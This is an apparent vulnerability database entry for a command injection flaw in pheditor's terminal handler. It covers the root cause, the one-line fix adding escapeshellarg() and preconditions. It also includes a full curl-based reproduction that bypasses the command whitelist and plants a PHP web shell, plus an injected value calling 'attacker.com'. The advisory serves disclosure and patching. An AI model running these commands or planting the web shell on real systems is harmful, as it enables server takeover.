Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter
Description
Authenticated users can achieve RCE via shell metacharacters in the unsanitized 'dir' POST parameter of pheditor's terminal handler, bypassing the command whitelist.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Authenticated users can achieve RCE via shell metacharacters in the unsanitized 'dir' POST parameter of pheditor's terminal handler, bypassing the command whitelist.
Vulnerability
An OS Command Injection vulnerability exists in the terminal action handler of pheditor.php (lines 554–586). The handler accepts two POST parameters: command and dir. Shell metacharacters (e.g., ;, &, ||) are validated only on the command parameter; the dir parameter is passed unsanitized to shell_exec(). This allows an attacker to inject arbitrary OS commands by placing shell metacharacters in dir, completely bypassing the TERMINAL_COMMANDS whitelist [1][2]. All versions of pheditor prior to commit 62b43df are affected [3][4].
Exploitation
An authenticated attacker with terminal permission (enabled by default) can exploit this by sending a crafted POST request to pheditor.php. After obtaining a CSRF token, the attacker sets the dir parameter to a value containing shell metacharacters, such as /tmp; curl attacker.com#. The semicolon in dir is never checked, so the injected command executes freely in the shell context. The proof-of-concept in [1][2] demonstrates the full exploitation sequence, including bypassing the command whitelist.
Impact
Successful exploitation yields full remote code execution (RCE) with the privileges of the web server process. The attacker can execute arbitrary OS commands, leading to data exfiltration, file modification, lateral movement, or complete server compromise [1][2].
Mitigation
The vulnerability is fixed in commit 62b43df of the pheditor repository, which adds escapeshellarg() to the $dir variable [4]. Users should immediately update pheditor to the latest version. If patching is not possible, disabling the terminal feature via configuration is the only workaround. No other mitigations are mentioned in the advisories [1][2][3].
AI Insight generated on Jun 11, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
1Patches
162b43df7cb89🐛 fix(pheditor): fix critical RCE via unescaped dir in shell_exec
1 file changed · +1 −1
pheditor.php+1 −1 modified@@ -583,7 +583,7 @@ exit; } - $output = shell_exec((empty($dir) ? null : 'cd ' . $dir . ' && ') . $command . ' && echo \ ; pwd'); + $output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd'); $output = trim($output); if (empty($output)) {
Vulnerability mechanics
Root cause
"The 'dir' POST parameter is not sanitized before being used in a shell_exec() call."
Attack vector
An authenticated user can exploit this vulnerability by sending a POST request to the terminal action handler. By injecting shell metacharacters into the 'dir' parameter, such as a semicolon, an attacker can execute arbitrary commands. This bypasses the intended command whitelist and allows for Remote Code Execution with the privileges of the web server user [ref_id=1]. The PoC demonstrates this by first confirming that direct command execution is blocked, then showing how injecting into 'dir' allows arbitrary command execution [ref_id=1].
Affected code
The vulnerability exists in the terminal handler within `pheditor.php`. Specifically, the code at lines 554-586 processes the 'command' and 'dir' POST parameters. The 'dir' parameter is passed directly to `shell_exec()` without proper sanitization, while the 'command' parameter undergoes some validation [ref_id=1].
What the fix does
The patch addresses the vulnerability by applying the `escapeshellarg()` function to the 'dir' POST parameter before it is used in the `shell_exec()` call [patch_id=5419736]. This function properly escapes any special shell characters within the directory path, preventing them from being interpreted as command separators or other metacharacters. Consequently, the injected commands can no longer be executed, mitigating the OS Command Injection vulnerability [ref_id=2].
Preconditions
- authThe attacker must be authenticated.
- configThe terminal permission must be enabled (which is the default configuration).
Reproduction
Step 1 — Authenticate: ```bash curl -c cookies.txt -X POST http://TARGET/pheditor.php \ -d "pheditor_password=admin" -L > /dev/null ``` Step 2 — Get CSRF token: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"') ``` Step 3 — Confirm curl is blocked via command field: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=curl https://ifconfig.me" \ --data-urlencode "dir=/tmp"
→ {"error":true,"message":"Command not allowed"} ``` Step 4 — Bypass whitelist via dir injection: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"')
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"
→ {"error":false,"message":"OK","dir":"<PUBLIC_IP>"} ``` Step 5 — Full RCE via webshell: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"
curl "http://TARGET/shell.php?c=id"
→ uid=33(www-data) gid=33(www-data) groups=33(www-data) ```
Generated on Jun 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3News mentions
0No linked articles in our index yet.